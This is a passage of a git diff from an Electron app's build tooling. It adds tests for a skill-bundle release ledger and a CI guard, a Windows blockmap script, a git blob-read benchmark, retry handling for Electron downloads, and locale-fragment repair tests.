async function createPackage() {
|
||||
const directory = await mkdtemp(path.join(tmpdir(), 'orca-skill-manifest-'))
|
||||
@@ -23,6 +37,26 @@ async function createPackage() {
|
||||
return directory
|
||||
}
|
||||
|
||||
// Why: the generator resolves its repo root from its own location, so a copy of
|
||||
// the script inside a throwaway tree exercises the real CLI — including which
|
||||
// artifacts each mode is allowed to write — without touching resources/skills.
|
||||
async function createReleaseSandbox() {
|
||||
// Node resolves the entry point through symlinks, so the script's own
|
||||
// repo-root check only matches when the sandbox path is already resolved.
|
||||
const root = await realpath(await createPackage())
|
||||
const skillRoot = path.join(root, 'skills', 'demo')
|
||||
const script = path.join(root, 'config', 'scripts', 'generate-skill-bundle-manifest.mjs')
|
||||
await mkdir(path.dirname(script), { recursive: true })
|
||||
await mkdir(skillRoot, { recursive: true })
|
||||
await copyFile(path.join(import.meta.dirname, 'generate-skill-bundle-manifest.mjs'), script)
|
||||
await writeFile(path.join(skillRoot, 'SKILL.md'), 'demo skill\n')
|
||||
return {
|
||||
generate: (...args) => execFileSync(process.execPath, [script, ...args], { stdio: 'pipe' }),
|
||||
read: (name) => readFile(path.join(root, 'resources', 'skills', name), 'utf8'),
|
||||
editSkill: (body) => writeFile(path.join(skillRoot, 'SKILL.md'), body)
|
||||
}
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(
|
||||
temporaryDirectories.splice(0).map((directory) => rm(directory, { recursive: true }))
|
||||
@@ -217,6 +251,158 @@ describe('skill bundle manifest generator', () => {
|
||||
expect(isToleratedReleaseMappingPrefix(serialized({ schemaVersion: 1 }), artifacts)).toBe(false)
|
||||
})
|
||||
|
||||
it('seeds released history from the committed ledger and drops the floating tail', () => {
|
||||
const snapshot = (releaseRevision, packageDigest) => ({ releaseRevision, packageDigest })
|
||||
const committedRegistry = {
|
||||
schemaVersion: 1,
|
||||
skills: {
|
||||
// released revs 1..2 named by the mapping, plus an unreleased tail at 3
|
||||
'orca-cli': [snapshot(1, 'aaa'), snapshot(2, 'bbb'), snapshot(3, 'unreleased')],
|
||||
// no mapping row -> fall back to all-but-tail
|
||||
'orca-linear': [snapshot(1, 'ccc'), snapshot(2, 'tail')]
|
||||
}
|
||||
}
|
||||
const committedMapping = {
|
||||
schemaVersion: 1,
|
||||
releases: [{ appVersion: '1.0.0', skills: { 'orca-cli': 2 } }]
|
||||
}
|
||||
|
||||
const seeded = releasedHistoryFromCommitted(committedRegistry, committedMapping)
|
||||
|
||||
// The unreleased tail is dropped; only mapping-named revisions survive.
|
||||
expect(seeded.registry.skills['orca-cli']).toEqual([snapshot(1, 'aaa'), snapshot(2, 'bbb')])
|
||||
expect(seeded.registry.skills['orca-linear']).toEqual([snapshot(1, 'ccc')])
|
||||
expect(seeded.releasedSnapshotCounts).toEqual({ 'orca-cli': 2, 'orca-linear': 1 })
|
||||
// The seed clones the mapping so a later release append cannot alias committed state.
|
||||
expect(seeded.mapping).toEqual(committedMapping)
|
||||
expect(seeded.mapping).not.toBe(committedMapping)
|
||||
})
|
||||
|
||||
it('returns an empty ledger when no committed artifacts exist', () => {
|
||||
const seeded = releasedHistoryFromCommitted(null, null)
|
||||
expect(seeded.registry.skills).toEqual({})
|
||||
expect(seeded.releasedSnapshotCounts).toEqual({})
|
||||
expect(seeded.mapping.releases).toEqual([])
|
||||
})
|
||||
|
||||
it('appends one release row, stripping the v-prefix and deduping identical tails', () => {
|
||||
const artifacts = {
|
||||
currentManifest: {
|
||||
skills: [
|
||||
{ name: 'orca-cli', releaseRevision: 36 },
|
||||
{ name: 'orca-linear', releaseRevision: 8 }
|
||||
]
|
||||
},
|
||||
releaseMapping: {
|
||||
schemaVersion: 1,
|
||||
releases: [{ appVersion: '1.4.151', skills: { 'orca-cli': 35, 'orca-linear': 8 } }]
|
||||
}
|
||||
}
|
||||
|
||||
appendReleaseRow(artifacts, 'v1.4.160')
|
||||
expect(artifacts.releaseMapping.releases.at(-1)).toEqual({
|
||||
appVersion: '1.4.160',
|
||||
skills: { 'orca-cli': 36, 'orca-linear': 8 }
|
||||
})
|
||||
|
||||
// A second release over identical revisions adds no row.
|
||||
appendReleaseRow(artifacts, '1.4.161')
|
||||
expect(artifacts.releaseMapping.releases).toHaveLength(2)
|
||||
})
|
||||
|
||||
it('overwrites the trailing row when a failed cut is re-cut at the same version', () => {
|
||||
const artifacts = {
|
||||
currentManifest: { skills: [{ name: 'orca-cli', releaseRevision: 37 }] },
|
||||
releaseMapping: {
|
||||
schemaVersion: 1,
|
||||
releases: [
|
||||
{ appVersion: '1.4.151', skills: { 'orca-cli': 35 } },
|
||||
// The failed cut already pushed this row to main at revision 36.
|
||||
{ appVersion: '1.4.160', skills: { 'orca-cli': 36 } }
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
appendReleaseRow(artifacts, '1.4.160')
|
||||
|
||||
// One row per version: the tag ships revision 37, so 36 must not linger.
|
||||
expect(artifacts.releaseMapping.releases).toEqual([
|
||||
{ appVersion: '1.4.151', skills: { 'orca-cli': 35 } },
|
||||
{ appVersion: '1.4.160', skills: { 'orca-cli': 37 } }
|
||||
])
|
||||
})
|
||||
|
||||
it('refuses to rewrite an already-shipped version behind the trailing row', () => {
|
||||
const artifacts = {
|
||||
currentManifest: { skills: [{ name: 'orca-cli', releaseRevision: 37 }] },
|
||||
releaseMapping: {
|
||||
schemaVersion: 1,
|
||||
releases: [
|
||||
{ appVersion: '1.4.151', skills: { 'orca-cli': 35 } },
|
||||
{ appVersion: '1.4.160', skills: { 'orca-cli': 36 } }
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
expect(() => appendReleaseRow(artifacts, '1.4.151')).toThrow(/already has a row for 1\.4\.151/)
|
||||
})
|
||||
|
||||
it('records a release without regenerating the content-addressed artifacts', async () => {
|
||||
const sandbox = await createReleaseSandbox()
|
||||
|
||||
sandbox.generate('--write')
|
||||
const [manifest, registry] = await Promise.all([
|
||||
sandbox.read('current-manifest.json'),
|
||||
sandbox.read('snapshot-registry.json')
|
||||
])
|
||||
sandbox.generate('--release', 'v1.4.156')
|
||||
|
||||
// The cut records provenance for bytes that are already committed, so a
|
||||
// version-only cut can never rewrite a shipped identity.
|
||||
expect(JSON.parse(await sandbox.read('release-mapping.json')).releases).toEqual([
|
||||
{ appVersion: '1.4.156', skills: { demo: 1 } }
|
||||
])
|
||||
expect(await sandbox.read('current-manifest.json')).toBe(manifest)
|
||||
expect(await sandbox.read('snapshot-registry.json')).toBe(registry)
|
||||
|
||||
// Bytes that changed since the last regeneration would make the row name a
|
||||
// revision this tag does not ship — refuse rather than record it.
|
||||
await sandbox.editSkill('edited after the last regeneration\n')
|
||||
expect(() => sandbox.generate('--release', '1.4.157')).toThrow(
|
||||
/Generated skill artifacts are stale/
|
||||
)
|
||||
expect(JSON.parse(await sandbox.read('release-mapping.json')).releases).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('freezes a revision once a release records it, and only until then', async () => {
|
||||
const sandbox = await createReleaseSandbox()
|
||||
const demoSnapshots = async () =>
|
||||
JSON.parse(await sandbox.read('snapshot-registry.json')).skills.demo
|
||||
|
||||
sandbox.generate('--write')
|
||||
const unreleased = (await demoSnapshots())[0].packageDigest
|
||||
|
||||
// Nothing has shipped revision 1 yet, so re-deriving it over new bytes is
|
||||
// correct: the tail floats until a release names it.
|
||||
await sandbox.editSkill('about to ship\n')
|
||||
sandbox.generate('--write')
|
||||
const shipped = await demoSnapshots()
|
||||
expect(shipped).toHaveLength(1)
|
||||
expect(shipped[0].packageDigest).not.toBe(unreleased)
|
||||
|
||||
sandbox.generate('--release', '1.4.156')
|
||||
|
||||
// The cut named revision 1, so the next change appends revision 2 instead of
|
||||
// rebuilding revision 1. Installs carrying the shipped digest keep matching a
|
||||
// known snapshot — without the ledger row they would match nothing.
|
||||
await sandbox.editSkill('changed again after the cut\n')
|
||||
sandbox.generate('--write')
|
||||
const frozen = await demoSnapshots()
|
||||
expect(frozen).toHaveLength(2)
|
||||
expect(frozen[0]).toEqual(shipped[0])
|
||||
expect(frozen[1].releaseRevision).toBe(2)
|
||||
})
|
||||
|
||||
it.runIf(process.platform !== 'win32')(
|
||||
'rejects executable files in shipped skill packages',
|
||||
async () => {
|
||||
@@ -277,4 +463,44 @@ describe('skill bundle manifest generator', () => {
|
||||
|
||||
expect(gitTreeSha(files)).toBe(expected)
|
||||
})
|
||||
|
||||
// Why: every step in the cut job shares one workspace and one index, so any of
|
||||
// them can stage the content-addressed artifacts and the bump step's own commit
|
||||
// then carries them into the tag. Grepping the workflow cannot see a path built
|
||||
// from an env var, a composite action, or concatenation, so the cut asserts its
|
||||
// own index before committing; this test pins that guard and adds a tripwire
|
||||
// for the literal spellings.
|
||||
it('keeps the whole release-cut job off skill regeneration', async () => {
|
||||
const workflow = parse(
|
||||
await readFile(path.join(REPO_ROOT, '.github/workflows/release-cut.yml'), 'utf8')
|
||||
)
|
||||
const runSteps = workflow.jobs.cut.steps
|
||||
.filter((step) => typeof step.run === 'string')
|
||||
.map((step) => ({ name: step.name ?? '(unnamed)', run: step.run.replace(/^\s*#.*$/gm, '') }))
|
||||
const bumpStep = runSteps.find((step) => step.name === 'Bump package.json and tag')
|
||||
|
||||
// The load-bearing check: whatever staged it and however the commit was
|
||||
// spelled, only these two paths may ship. Asserted on the commit rather than
|
||||
// the index because `git commit -a/-i/--only/<pathspec>` bypasses the index.
|
||||
// -F is part of the contract; without it `.` admits a path like packageXjson.
|
||||
// Flags pinned, not just the command: a `--diff-filter` slipped in here would
|
||||
// silence modifications, and dropping -m makes a merge commit report nothing.
|
||||
expect(bumpStep.run).toMatch(
|
||||
/git diff-tree --no-commit-id --name-only -r -m --first-parent HEAD\s*\|\s*grep -vxF -e 'package\.json' -e 'resources\/skills\/release-mapping\.json'/
|
||||
)
|
||||
expect(bumpStep.run.indexOf('grep -vxF')).toBeLessThan(bumpStep.run.indexOf('git tag'))
|
||||
// ...and that it aborts. A guard degraded to a warning still reads as covered.
|
||||
// The exit must be inside the guard's own block, not borrowed from a later one.
|
||||
expect(bumpStep.run).toMatch(
|
||||
/if \[\[ -n "\$committed" \]\]; then(?:(?!\bfi\b)[\s\S])*exit 1[\s\S]*?fi/
|
||||
)
|
||||
// Tripwire only. A step that merely READS this directory may be added here;
|
||||
// one that writes or stages it must not, and the guard above will reject it.
|
||||
expect(runSteps.filter((s) => /resources[/\\]skills/.test(s.run)).map((s) => s.name)).toEqual([
|
||||
'Bump package.json and tag'
|
||||
])
|
||||
for (const step of runSteps) {
|
||||
expect(step.run, step.name).not.toMatch(/--write|generate:skill-bundle-manifest/)
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
// Regenerate the electron-updater `.blockmap` for a (re-signed) Windows installer.
|
||||
// electron-builder 26 dropped the app-builder-bin Go binary; blockmap generation
|
||||
// now lives in app-builder-lib's pure-JS `buildBlockMap`. Mirrors createBlockmap's
|
||||
// "gzip" format for the standalone NSIS installer blockmap.
|
||||
import { createRequire } from 'node:module'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
|
||||
const [input, output] = process.argv.slice(2)
|
||||
if (!input || !output) {
|
||||
console.error('usage: generate-windows-blockmap.mjs <input.exe> <output.exe.blockmap>')
|
||||
process.exit(1)
|
||||
}
|
||||
|
||||
const { buildBlockMap } = require('app-builder-lib/out/targets/blockmap/blockmap')
|
||||
|
||||
const info = await buildBlockMap(input, 'gzip', output)
|
||||
console.log(`blockmap written: ${output} (installer sha512=${info.sha512}, size=${info.size})`)
|
||||
@@ -5,7 +5,7 @@ import { describe, expect, it } from 'vitest'
|
||||
describe('Git binary compatibility PR gate', () => {
|
||||
it('runs the real-binary contract at each compatibility boundary', () => {
|
||||
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
|
||||
const step = workflow.jobs.verify.steps.find(
|
||||
const step = workflow.jobs.git_compatibility.steps.find(
|
||||
(candidate) => candidate.name === 'Verify Git binary compatibility matrix'
|
||||
)
|
||||
|
||||
@@ -16,5 +16,8 @@ describe('Git binary compatibility PR gate', () => {
|
||||
expect(step?.run).toContain('alpine/git:v2.49.1|2.49.1')
|
||||
expect(step?.run).toContain('ORCA_GIT_COMPAT_IMAGE="$image"')
|
||||
expect(step?.run).toContain('src/shared/git-binary-compatibility.test.ts')
|
||||
expect(step?.run).toContain('-j"$(nproc)"')
|
||||
expect(step?.run).toContain('pids+=("$!")')
|
||||
expect(step?.run).toContain('wait "$pid" || status=1')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: latency of loading one file diff, which reads two git blobs.
|
||||
//
|
||||
// The diff loaders in src/main/git/status.ts awaited their two sides in series,
|
||||
// so the second `git show` could not start until the first had fully returned.
|
||||
// The two reads are independent, so that serialization was pure added latency on
|
||||
// every diff the review panel opens.
|
||||
//
|
||||
// This spawns the real `git` binary against this repo, so it measures actual
|
||||
// process-launch and read cost rather than a model of it. Over SSH each diff is
|
||||
// one relay RPC and the two spawns run host-local inside the relay, so the same
|
||||
// relative saving applies to remote-host spawn time, not to network round trips.
|
||||
import { execFile } from 'node:child_process'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url))
|
||||
const ITERATIONS = Number(process.env.ORCA_DIFF_BLOB_BENCH_ITERATIONS ?? '10')
|
||||
const WARMUP = Number(process.env.ORCA_DIFF_BLOB_BENCH_WARMUP ?? '3')
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_DIFF_BLOB_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_DIFF_BLOB_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isSafeInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
function git(args) {
|
||||
return new Promise((resolve, reject) => {
|
||||
execFile('git', args, { cwd: REPO_ROOT, maxBuffer: 256 * 1024 * 1024 }, (error, stdout) =>
|
||||
error ? reject(error) : resolve(stdout)
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
// Pre-fix: await one side, then the other.
|
||||
async function readSequential(leftRef, rightRef, filePath) {
|
||||
const left = await git(['show', '--end-of-options', `${leftRef}:${filePath}`])
|
||||
const right = await git(['show', '--end-of-options', `${rightRef}:${filePath}`])
|
||||
return left.length + right.length
|
||||
}
|
||||
|
||||
// Post-fix: issue both, await together.
|
||||
async function readConcurrent(leftRef, rightRef, filePath) {
|
||||
const [left, right] = await Promise.all([
|
||||
git(['show', '--end-of-options', `${leftRef}:${filePath}`]),
|
||||
git(['show', '--end-of-options', `${rightRef}:${filePath}`])
|
||||
])
|
||||
return left.length + right.length
|
||||
}
|
||||
|
||||
// Why interleaved: running one strategy's whole batch before the other's lets
|
||||
// cache warming, CPU-frequency drift, and background load correlate with the
|
||||
// strategy being measured. Alternating per iteration and taking medians keeps
|
||||
// that drift common to both arms.
|
||||
async function measureInterleaved(leftRef, rightRef, filePath) {
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
await readSequential(leftRef, rightRef, filePath)
|
||||
await readConcurrent(leftRef, rightRef, filePath)
|
||||
}
|
||||
const sequentialSamples = []
|
||||
const concurrentSamples = []
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
// Alternate which arm goes first so neither systematically pays a cold cache.
|
||||
const sequentialFirst = index % 2 === 0
|
||||
for (const runSequential of sequentialFirst ? [true, false] : [false, true]) {
|
||||
const start = performance.now()
|
||||
await (runSequential ? readSequential : readConcurrent)(leftRef, rightRef, filePath)
|
||||
;(runSequential ? sequentialSamples : concurrentSamples).push(performance.now() - start)
|
||||
}
|
||||
}
|
||||
const median = (samples) => {
|
||||
const sorted = [...samples].sort((a, b) => a - b)
|
||||
const middle = Math.floor(sorted.length / 2)
|
||||
return sorted.length % 2 === 0 ? (sorted[middle - 1] + sorted[middle]) / 2 : sorted[middle]
|
||||
}
|
||||
return { sequential: median(sequentialSamples), concurrent: median(concurrentSamples) }
|
||||
}
|
||||
|
||||
const head = (await git(['rev-parse', 'HEAD'])).trim()
|
||||
const parent = `${head}~1`
|
||||
|
||||
// Files that exist on both sides, spanning small to large so the fixed spawn
|
||||
// cost and the size-dependent read cost are both represented.
|
||||
const CANDIDATES = [
|
||||
'src/main/git/status.ts',
|
||||
'src/shared/agent-hook-listener.ts',
|
||||
'src/renderer/src/components/TaskPage.tsx'
|
||||
]
|
||||
|
||||
const files = []
|
||||
for (const filePath of CANDIDATES) {
|
||||
try {
|
||||
await git(['cat-file', '-e', `${parent}:${filePath}`])
|
||||
await git(['cat-file', '-e', `${head}:${filePath}`])
|
||||
files.push(filePath)
|
||||
} catch {
|
||||
// Skip a path that does not exist on both sides in this checkout.
|
||||
}
|
||||
}
|
||||
if (files.length === 0) {
|
||||
throw new Error('no benchmark file exists at both HEAD and HEAD~1 in this checkout')
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('One file diff = two git blob reads. Lower is better.')
|
||||
console.log(
|
||||
`iterations=${ITERATIONS} warmup=${WARMUP} (interleaved, medians) head=${head.slice(0, 9)}`
|
||||
)
|
||||
console.log(
|
||||
`${pad('file', 26)} ${pad('sequential', 12)} ${pad('concurrent', 12)} ${pad('speedup', 9)} ${pad('saved', 10)}`
|
||||
)
|
||||
for (const filePath of files) {
|
||||
const sequentialBytes = await readSequential(parent, head, filePath)
|
||||
const concurrentBytes = await readConcurrent(parent, head, filePath)
|
||||
if (sequentialBytes !== concurrentBytes) {
|
||||
throw new Error(`byte mismatch for ${filePath}`)
|
||||
}
|
||||
const { sequential, concurrent } = await measureInterleaved(parent, head, filePath)
|
||||
console.log(
|
||||
`${pad(filePath.split('/').pop(), 26)} ${pad(`${sequential.toFixed(1)} ms`, 12)} ${pad(`${concurrent.toFixed(1)} ms`, 12)} ${pad(`${(sequential / concurrent).toFixed(2)}x`, 9)} ${pad(`${(sequential - concurrent).toFixed(1)} ms`, 10)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nThe saving is per diff opened, and is dominated by process launch rather than\nfile size — which is why it holds roughly constant across these files.'
|
||||
)
|
||||
@@ -24,6 +24,20 @@ const { downloadArtifact } = electronRequire('@electron/get')
|
||||
const targetPlatform = getElectronTargetPlatform()
|
||||
const targetArch = getElectronTargetArch()
|
||||
const platformPath = getElectronPlatformPath(targetPlatform)
|
||||
const transientDownloadErrorCodes = new Set([
|
||||
'EAI_AGAIN',
|
||||
'ECONNREFUSED',
|
||||
'ECONNRESET',
|
||||
'ENETDOWN',
|
||||
'ENETRESET',
|
||||
'ENETUNREACH',
|
||||
'ENOTFOUND',
|
||||
'EPIPE',
|
||||
'ETIMEDOUT',
|
||||
'UND_ERR_CONNECT_TIMEOUT',
|
||||
'UND_ERR_HEADERS_TIMEOUT',
|
||||
'UND_ERR_SOCKET'
|
||||
])
|
||||
|
||||
try {
|
||||
// Why: Electron's own install.js can exit 0 while an async extract promise is
|
||||
@@ -111,7 +125,7 @@ async function installElectronPackageBinary() {
|
||||
const extractDir = join(tempDir, 'extract')
|
||||
|
||||
try {
|
||||
const zipPath = await downloadArtifact({
|
||||
const downloadOptions = {
|
||||
version: electronVersion,
|
||||
artifactName: 'electron',
|
||||
platform: targetPlatform,
|
||||
@@ -120,7 +134,8 @@ async function installElectronPackageBinary() {
|
||||
force: true,
|
||||
tempDirectory: tempDir,
|
||||
...(shouldUseRemoteChecksums() ? {} : { checksums: electronRequire('./checksums.json') })
|
||||
})
|
||||
}
|
||||
const zipPath = await downloadElectronArtifactWithRetry(downloadOptions)
|
||||
|
||||
// Why: CI has observed partial extracts directly under node_modules/electron
|
||||
// that leave only dist/locales. Verify in temp before replacing package dist.
|
||||
@@ -145,6 +160,82 @@ async function installElectronPackageBinary() {
|
||||
}
|
||||
}
|
||||
|
||||
async function downloadElectronArtifactWithRetry(downloadOptions) {
|
||||
const retryDelays = getDownloadRetryDelays()
|
||||
|
||||
for (let attempt = 0; ; attempt += 1) {
|
||||
try {
|
||||
return await downloadArtifact(downloadOptions)
|
||||
} catch (error) {
|
||||
const retryDelay = retryDelays[attempt]
|
||||
if (retryDelay === undefined || !isTransientDownloadError(error)) {
|
||||
throw error
|
||||
}
|
||||
|
||||
console.warn(
|
||||
`[electron-package] Transient Electron download failure (${formatDownloadError(error)}); ` +
|
||||
`retrying in ${retryDelay}ms (${attempt + 2}/${retryDelays.length + 1}).`
|
||||
)
|
||||
rmSync(downloadOptions.cacheRoot, { recursive: true, force: true })
|
||||
await new Promise((resolveDelay) => setTimeout(resolveDelay, retryDelay))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function getDownloadRetryDelays() {
|
||||
const configured = process.env.ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS
|
||||
if (!configured) {
|
||||
return [1_000, 3_000]
|
||||
}
|
||||
|
||||
const delays = configured.split(',').map(Number)
|
||||
if (delays.some((delay) => !Number.isSafeInteger(delay) || delay < 0)) {
|
||||
throw new Error('ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers')
|
||||
}
|
||||
return delays
|
||||
}
|
||||
|
||||
function isTransientDownloadError(error) {
|
||||
for (const candidate of getErrorChain(error)) {
|
||||
if (transientDownloadErrorCodes.has(candidate?.code)) {
|
||||
return true
|
||||
}
|
||||
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
|
||||
if (
|
||||
statusCode === 408 ||
|
||||
statusCode === 425 ||
|
||||
statusCode === 429 ||
|
||||
(statusCode >= 500 && statusCode < 600)
|
||||
) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function getErrorChain(error) {
|
||||
const errors = []
|
||||
let candidate = error
|
||||
while (candidate && errors.length < 5) {
|
||||
errors.push(candidate)
|
||||
candidate = candidate.cause
|
||||
}
|
||||
return errors
|
||||
}
|
||||
|
||||
function formatDownloadError(error) {
|
||||
for (const candidate of getErrorChain(error)) {
|
||||
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
|
||||
if (statusCode) {
|
||||
return `HTTP ${statusCode}`
|
||||
}
|
||||
if (candidate?.code) {
|
||||
return candidate.code
|
||||
}
|
||||
}
|
||||
return error instanceof Error ? error.message : String(error)
|
||||
}
|
||||
|
||||
function extractElectronArchive(zipPath, extractDir) {
|
||||
mkdirSync(extractDir, { recursive: true })
|
||||
// Why: extract-zip/Electron install.js can leave Node 24 with an unsettled
|
||||
|
||||
@@ -93,6 +93,102 @@ describe('install-electron-package-binary', () => {
|
||||
}
|
||||
})
|
||||
|
||||
it('retries transient Electron download failures', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir, {
|
||||
downloadFailures: 1,
|
||||
downloadErrorCode: 'ECONNRESET'
|
||||
})
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
|
||||
})
|
||||
|
||||
expect(result.status, result.stderr).toBe(0)
|
||||
expect(
|
||||
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
|
||||
).toHaveLength(2)
|
||||
expect(result.stderr).toContain('Transient Electron download failure (ECONNRESET)')
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('fails after exhausting transient Electron download retries', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir, {
|
||||
downloadFailures: 5,
|
||||
downloadErrorCode: 'ECONNRESET'
|
||||
})
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(
|
||||
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
|
||||
).toHaveLength(3)
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects invalid Electron download retry delays before downloading', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir)
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,nope'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(result.stderr).toContain(
|
||||
'ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers'
|
||||
)
|
||||
expect(existsSync(join(projectDir, 'electron-get.log'))).toBe(false)
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('does not retry permanent Electron download failures', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir, {
|
||||
downloadFailures: 3,
|
||||
downloadErrorCode: 'EACCES'
|
||||
})
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(
|
||||
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
|
||||
).toHaveLength(1)
|
||||
expect(result.stderr).not.toContain('Transient Electron download failure')
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('fails instead of silently accepting a partial Electron extract', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
@@ -181,7 +277,10 @@ module.exports = path.join(__dirname, 'dist', fs.readFileSync(pathFile, 'utf8'))
|
||||
)
|
||||
}
|
||||
|
||||
function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {}) {
|
||||
function writeFakeElectronGet(
|
||||
projectDir,
|
||||
{ downloadNeverSettles = false, downloadFailures = 0, downloadErrorCode = 'ECONNRESET' } = {}
|
||||
) {
|
||||
const getDir = join(projectDir, 'node_modules', 'electron', 'node_modules', '@electron', 'get')
|
||||
mkdirSync(getDir, { recursive: true })
|
||||
writeFileSync(
|
||||
@@ -189,7 +288,9 @@ function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {})
|
||||
`
|
||||
const { mkdirSync, writeFileSync, appendFileSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
let downloadAttempt = 0
|
||||
exports.downloadArtifact = async function downloadArtifact(details) {
|
||||
downloadAttempt += 1
|
||||
appendFileSync(
|
||||
'electron-get.log',
|
||||
'cacheRoot=' + details.cacheRoot + ' platform=' + details.platform + ' arch=' + details.arch + '\\n'
|
||||
@@ -197,6 +298,12 @@ exports.downloadArtifact = async function downloadArtifact(details) {
|
||||
if (${JSON.stringify(downloadNeverSettles)}) {
|
||||
return new Promise(() => {})
|
||||
}
|
||||
if (downloadAttempt <= ${JSON.stringify(downloadFailures)}) {
|
||||
const cause = Object.assign(new Error('download failed'), {
|
||||
code: ${JSON.stringify(downloadErrorCode)}
|
||||
})
|
||||
throw Object.assign(new TypeError('fetch failed'), { cause })
|
||||
}
|
||||
mkdirSync(details.cacheRoot, { recursive: true })
|
||||
const artifactPath = join(details.cacheRoot, 'electron.zip')
|
||||
writeFileSync(artifactPath, 'fake zip')
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { repairTranslatedValue } from './locale-translation-policy.mjs'
|
||||
|
||||
// The theme-picker count row renders "Showing {count}" immediately followed by one of these
|
||||
// fragments, so translations must keep a leading separator or the numbers fuse ("표시 중 3030 중").
|
||||
describe('locale-count-fragment-separator', () => {
|
||||
it('keeps a slash between shown and total theme counts in CJK locales', () => {
|
||||
const brokenByLocale = { ko: '{{value0}} 중', ja: '{{value0}}の', zh: '{{value0}} 的' }
|
||||
for (const [locale, localeValue] of Object.entries(brokenByLocale)) {
|
||||
expect(
|
||||
repairTranslatedValue({
|
||||
key: 'auto.components.settings.SettingsFormControls.cb330ef7f8',
|
||||
enValue: ' of {{value0}}',
|
||||
localeValue,
|
||||
locale
|
||||
})
|
||||
).toBe('/{{value0}}')
|
||||
}
|
||||
})
|
||||
|
||||
it('keeps a leading space before the search-match fragment in CJK locales', () => {
|
||||
const cases = [
|
||||
['ko', '"{{value0}}"과(와) 일치', ' "{{value0}}"과(와) 일치'],
|
||||
['ja', '「{{value0}}」に一致', ' 「{{value0}}」に一致'],
|
||||
['zh', '匹配“{{value0}}”', ' 匹配“{{value0}}”']
|
||||
]
|
||||
for (const [locale, localeValue, repaired] of cases) {
|
||||
expect(
|
||||
repairTranslatedValue({
|
||||
key: 'auto.components.settings.SettingsFormControls.c822571b2e',
|
||||
enValue: ' matching "{{value0}}"',
|
||||
localeValue,
|
||||
locale
|
||||
})
|
||||
).toBe(repaired)
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -19,6 +19,18 @@ export const CROSS_LOCALE_KEY_OVERRIDES = {
|
||||
zh: '集成',
|
||||
